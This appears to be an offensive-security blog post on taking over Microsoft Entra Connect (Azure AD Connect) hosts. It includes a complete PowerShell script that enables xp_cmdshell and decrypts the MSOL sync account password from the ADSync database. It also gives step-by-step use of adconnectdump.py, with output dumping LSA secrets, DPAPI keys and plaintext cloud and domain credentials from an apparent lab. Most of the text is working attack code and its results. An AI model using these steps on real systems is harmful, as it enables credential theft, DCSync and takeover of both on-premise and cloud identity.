Entra ID Connect

Entra ID is an Identity and Access Management (IAM) solution running in the Microsoft Azure cloud.

It was formally known as Azure Active Directory, however it shares very little in common with Active Directory. The below table provides a brief comparison of features;

System PropertyActive DirectoryEntra ID
ProtocolLDAPREST API
AuthenticationKerberos, NTLMOAuth,OpenID,SAML
Directory StructureMulti tier (structured)Flat
Trust BoundaryDomains/ForestsTenants
PermissionsGranularRole Based (with predefined roles)

User Provisioning

Entra ID can synchronise with on premise Active Directory (LDAP based) systems. There are two ways of doing this;

Microsoft Entra Connect V2 Sync – the legacy method. Configuration is performed on premise and in the cloud.

Microsoft Entra Cloud Sync – the newer way of performing synchronisation. Configuration is performed in the cloud.

Both solutions synchronise and objects from on premise AD to Entra ID and synchronise password hashes to provide SSO.

  • Password Hash Synchronisation (PHS) – on premise Active Directory password hashes are synced to the cloud.
  • Pass-Through Authentication (PTA) – the on premise domain controller is always queried for authentication.
  • Active Directory Federation services (AD FS) – A single sign on solution by Microsoft, allowing authentication to application that don’t support Integrated Windows Authentication.

We’re going to be looking at compromising password hash synchronisation, as this is probably the most common deployment method.

Entra Connect

The Entra Connect application is installed on a system in a domain to perform either PHS or PTA. A Microsoft Online Services (MSOL) Active Directory account is required to synchronise identities with Azure. This is automatically configured as part of installing Entra connect.

If the MSOL account is compromised, both the Entra ID tenant and on premise Active Directory would be compromised.

Luckily for us, Microsoft made it trivial to identify where Entra Connect is installed in a domain, as the MSOL account includes the name of the system the connector is installed on;

C:\Users\alice>net user /domain
The request will be processed at a domain controller for domain cloudhopper.co.uk.
User accounts for \\CHDC01.cloudhopper.co.uk
-------------------------------------------------------------------------------
Administrator            alice                    bob
charles                  Guest                    krbtgt
MSOL_002cdad870b9
The command completed successfully.
C:\Users\alice>net user MSOL_002cdad870b9 /domain
The request will be processed at a domain controller for domain cloudhopper.co.uk.
User name                    MSOL_002cdad870b9
Full Name
Comment                      Account created by Microsoft Azure Active Directory Connect with installation identifier 002cdad870b9463b8a0ae93c4af6d387 running on 
computer CLOUDCONNECT configured to synchronize to tenant cloudhopper.co.uk. 
This account must have directory replication permissions in the local Active Directory and 
write permission on certain attributes to enable Hybrid Deployment.
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
Password last set            27/10/2023 16:10:27
Password expires             Never
Password changeable          28/10/2023 16:10:27
Password required            Yes
User may change password     Yes
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   27/10/2023 16:13:41
Logon hours allowed          All
Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.

Credential Storage

Password hashes synchronised with Azure AD are stored in a database, typically located at;

C:\Program Files\Microsoft Azure AD Sync\Data\ADSync2019\ADSync.mdf

This database is encrypted using the Data Protection API (DAPI). The file will remain locked by sqlserv.exe whilst AD connect is in operation. There are a few ways we can extract the contents;

azuread_decrypt_msol_v2.ps1

We can extract the MSOL account credential stored in this database using azuread_decrypt_msol_v2.ps1. The code needs to be altered slightly to set the target data source to ADSync2019 instead of ADSync;

Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
#$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
    $client.Open()
} catch {
    Write-Host "[!] Could not connect to localdb..."
    return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_server_configuration"
    return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_management_agent"
    return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
    $decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
    return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"

Running this code snippet on a AD connect host will provide access to the MSOL account password. This password can be used to perform DCSync attacks in the Active Directory domain, and authenticate to cloud resources.

PS C:\Users\Administrator\Desktop> .\azuread_decrypt_msol_v2.ps1
AD Connect Sync Credential Extract v2 (@_xpn_)
        [ Updated to support new cryptokey storage method ]
[*] Querying ADSync localdb (mms_server_configuration)
[*] Querying ADSync localdb (mms_management_agent)
[*] Using xp_cmdshell to run some Powershell as the service user
[*] Credentials incoming...
Domain: CLOUDHOPPER.CO.UK
Username: MSOL_002cdad870b9
Password: @_cpAA-Ebfe!+em^1O7Uv]P:3(Mp6Sm!b|m#of5hu!

ADConnectDump

AD Connect Dump provides a set of three tools which are available here. ADSyncQuery is of particular interest, since it let’s us extract the credentials from a remote system using RPC calls.

To set this up install Python2.7 and install the required pip modules;

C:\Python27\Scripts> pip.exe install impacket==0.9.22
C:\Python27\Scripts> pip.exe install pycryptodomex

Next, install a local MSSQL database on the attacker host, and ensure the LocalDB option is installed;

Make sure ADSyncQuery.exe is in your locally directory as it’s used to parse the data downloaded by the Python script. Run the application with;

C:\Python27>python.exe C:\Users\bob\Desktop\adconnectdump.py bob:Peach1@192.168.1.231 -debug
Azure AD Connect remote credential dumper - by @_dirkjan
[*] Service ADSync is in stopped state
[*] Downloading ADSync database files
[*] Querying database for configuration data
[*] Querying LSA secrets from remote registry
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[+] Retrieving class info for JD
[+] Retrieving class info for Skew1
[+] Retrieving class info for GBG
[+] Retrieving class info for Data
[*] Target system bootKey: 0x493e648aa4b274852696d498052103a2
[+] Saving remote SECURITY database
[*] Dumping LSA Secrets
[+] Decrypting LSA Key
[+] Looking into $MACHINE.ACC
[*] $MACHINE.ACC
[+] Looking into DefaultPassword
[+] Discarding secret DefaultPassword, NULL Data
[+] Looking into DPAPI_SYSTEM
[*] DPAPI_SYSTEM
[*] Found DPAPI machine key: 0x5197df3bd1569c9c3210a25394aff840ad38e388
[+] Looking into NL$KM
[*] NL$KM
[+] Looking into _SC_ADSync
[+] Discarding secret _SC_ADSync, NULL Data
[*] New format keyset detected, extracting secrets from credential store
[*] Querying credential file 19D3D52A0DC05E50DC3EE331D8505611
[*] Found SID S-1-5-80-3245704983-3664226991-764670653-2504430226-901976441 for NT SERVICE\ADSync Virtual Account
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 6127062d-2596-4131-ad38-c7eeb859fb1c
Flags       :        6 (6)
Policy      :        0 (0)
MasterKeyLen: 000000b0 (176)
BackupKeyLen: 00000090 (144)
CredHistLen : 00000014 (20)
DomainKeyLen: 00000000 (0)

[*] Decrypted ADSync user masterkey using SYSTEM UserKey + SID
[*] Found correct encrypted keyset to decrypt data
[*] Decrypting DPAPI data with masterkey D1A21057-CD92-461C-BC06-E566B8D9F039
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : d1a21057-cd92-461c-bc06-e566b8d9f039
Flags       :        6 (6)
Policy      :        0 (0)
MasterKeyLen: 000000b0 (176)
BackupKeyLen: 00000090 (144)
CredHistLen : 00000014 (20)
DomainKeyLen: 00000000 (0)

 0000   4D 4D 53 4B 01 00 00 00  A1 86 01 00 F6 43 A4 C9   MMSK.........C..
 0010   89 B8 C4 4C 8D 06 1E 05  08 BC DC 02 00 00 00 00   ...L............
 0020   01 00 00 00 02 00 00 00  02 00 00 00 01 00 00 00   ................
 0030   4C 00 00 00 2C 00 00 00  00 00 00 00 02 00 00 00   L...,...........
 0040   78 00 00 00 2C 00 00 00  00 00 00 00 08 02 00 00   x...,...........
 0050   10 66 00 00 20 00 00 00  66 66 34 6D 9D EF 13 62   .f.. ...ff3m...b
 0060   41 67 D9 55 AE 1E 99 2C  00 C0 2F 4E 10 E5 7F 48   Ag.U...,../N...H
 0070   A1 F9 F6 04 32 FD 28 EA  08 02 00 00 10 66 00 00   ....2.(......f..
 0080   20 00 00 00 96 3B 35 42  C9 E7 F9 DC 19 5F 98 21    ....;5B....._.!
 0090   8C A6 C4 31 36 C4 00 01  EB 80 1E 5B EC 84 04 CA   ...16......[....
 00a0   BF 8E 4F BA                                        ..O.
[*] Decrypting encrypted AD Sync configuration data
[*] Azure AD credentials
[*]     Username: Sync_CLOUDCONNECT_002cdad870b9@cloudhopper.co.uk
[*]     Password: ^Tz>;L&*}
[*] Local AD credentials
[*]     Domain: CLOUDHOPPER.CO.UK
[*]     Username: MSOL_002cdad870b9
[*]     Password: @_cpAA-Ebfe!+em^1O7Uv]P:3(Mp6Sm!b|m#of5hu!
[*] Cleaning up...
[*] Stopping service RemoteRegistry

In Conclusion

AD connect systems offer are an attractive target for attackers, since compromising them allows access to on premise and cloud resources. In addition, they may not be under the same scrutiny applied to domain controllers.